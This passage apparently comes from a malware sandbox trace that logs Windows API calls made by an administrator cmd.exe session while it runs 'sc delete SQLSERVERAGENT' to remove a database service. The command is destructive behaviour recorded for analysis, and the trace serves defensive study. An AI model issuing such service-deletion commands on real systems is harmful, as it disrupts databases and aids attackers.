HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0069.057] GetLastError () returned 0x2 [0069.057] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0069.057] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0069.058] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0069.058] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0069.058] GetLastError () returned 0x2 [0069.058] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0069.058] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0069.058] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0069.058] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0069.058] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0069.058] GetProcessHeap () returned 0x4a0000 [0069.058] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0069.058] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0069.059] GetProcessHeap () returned 0x4a0000 [0069.059] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xaa) returned 0x4b9180 [0069.059] GetProcessHeap () returned 0x4a0000 [0069.059] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xaa [0069.059] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete SQLSERVERAGENT") returned 1 [0069.059] GetProcessHeap () returned 0x4a0000 [0069.059] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0069.059] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0069.059] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0069.059] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0069.059] GetProcessHeap () returned 0x4a0000 [0069.060] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0069.060] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0069.060] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0069.060] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0069.060] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0069.060] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0069.060] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0069.060] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0069.060] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0069.060] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0069.060] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0069.060] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0069.060] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0069.060] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0069.060] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0069.060] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0069.060] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0069.060] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0069.060] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0069.060] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.060] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.060] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.060] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0069.060] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.060] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.061] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.061] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0069.061] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0069.061] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0069.061] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0069.061] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0069.061] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0069.061] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0069.061] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0069.061] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0069.061] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0069.061] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0069.061] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0069.061] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0069.061] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0069.061] GetProcessHeap () returned 0x4a0000 [0069.061] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0069.061] GetProcessHeap () returned 0x4a0000 [0069.061] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0069.061] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete SQLSERVERAGENT", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete SQLSERVERAGENT", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete SQLSERVERAGENT", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0x8f4, dwThreadId=0x904)) returned 1 [0069.066] CloseHandle (hObject=0x50) returned 1 [0069.066] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0069.066] GetProcessHeap () returned 0x4a0000 [0069.066] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0069.066] GetEnvironmentStringsW () returned 0x4bba10* [0069.066] GetProcessHeap () returned 0x4a0000 [0069.066] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0069.066] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0069.066] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0069.066] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdd000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0069.066] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0069.331] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0069.331] CloseHandle (hObject=0x54) returned 1 [0069.331] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0069.331] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0069.331] GetProcessHeap () returned 0x4a0000 [0069.331] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0069.331] GetEnvironmentStringsW () returned 0x4c1b10* [0069.331] GetProcessHeap () returned 0x4a0000 [0069.331] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba10 [0069.332] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0069.332] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0069.332] GetProcessHeap () returned 0x4a0000 [0069.332] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0069.332] GetEnvironmentStringsW () returned 0x4bba10* [0069.332] GetProcessHeap () returned 0x4a0000 [0069.332] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4c1b10 [0069.332] FreeEnvironmentStringsW (penv=0x4bba10) returned 1 [0069.332] GetProcessHeap () returned 0x4a0000 [0069.332] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0069.332] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0069.332] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0069.332] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.332] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0069.333] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.333] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0069.333] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.333] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0069.333] GetConsoleOutputCP () returned 0x1b5 [0069.333] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0069.333] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0069.333] GetProcessHeap () returned 0x4a0000 [0069.333] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0069.333] GetProcessHeap () returned 0x4a0000 [0069.333] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0069.333] GetProcessHeap () returned 0x4a0000 [0069.333] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0069.333] GetProcessHeap () returned 0x4a0000 [0069.333] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bc530 | out: hHeap=0x4a0000) returned 1 [0069.333] GetProcessHeap () returned 0x4a0000 [0069.333] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa90 | out: hHeap=0x4a0000) returned 1 [0069.333] GetProcessHeap () returned 0x4a0000 [0069.333] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0069.333] GetProcessHeap () returned 0x4a0000 [0069.333] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4baa40 | out: hHeap=0x4a0000) returned 1 [0069.333] GetProcessHeap () returned 0x4a0000 [0069.333] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0069.334] GetProcessHeap () returned 0x4a0000 [0069.334] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b97e0 | out: hHeap=0x4a0000) returned 1 [0069.334] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0069.334] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.334] GetFileType (hFile=0x120) returned 0x3 [0069.334] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.334] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0069.334] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0069.334] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0069.334] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0069.334] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0069.334] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0069.334] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.334] GetFileType (hFile=0x120) returned 0x3 [0069.334] _get_osfhandle (_FileHandle=1) returned 0x120 [0069.334] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0069.334] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0069.334] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.334] GetFileType (hFile=0xb8) returned 0x3 [0069.334] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.334] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.334] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.335] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete SQLSERVERAGENT\n\nce\n") returned 1 [0069.335] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.335] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.335] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.335] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete SQLSERVERAGENT\n\nce\n") returned 1 [0069.335] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.335] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.335] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.335] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete SQLSERVERAGENT\n\nce\n") returned 1 [0069.335] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.335] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.335] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.335] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete SQLSERVERAGENT\n\nce\n") returned 1 [0069.335] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.335] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.335] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.335] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete SQLSERVERAGENT\n\nce\n") returned 1 [0069.335] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.335] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.335] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.335] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete SQLSERVERAGENT\n\nce\n") returned 1 [0069.335] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.335] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.335] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.336] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete SQLSERVERAGENT\n\nce\n") returned 1 [0069.336] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.336] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.336] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.336] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te SQLSERVERAGENT\n\nce\n") returned 1 [0069.336] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.336] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.336] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.336] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e SQLSERVERAGENT\n\nce\n") returned 1 [0069.336] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.336] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.336] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.336] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" SQLSERVERAGENT\n\nce\n") returned 1 [0069.336] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.336] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.336] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.336] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="SQLSERVERAGENT\n\nce\n") returned 1 [0069.336] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.336] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.336] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.336] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="QLSERVERAGENT\n\nce\n") returned 1 [0069.336] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.336] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.336] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.337] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="LSERVERAGENT\n\nce\n") returned 1 [0069.337] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.337] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.337] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.337] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="BERVERAGENT\n\nce\n") returned 1 [0069.337] _get_osfhandle (_FileHandle=0) returned 0xb8 [0069.337] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.337] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0069.337] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="rRVERAGENT\n\nce\n") returned 1 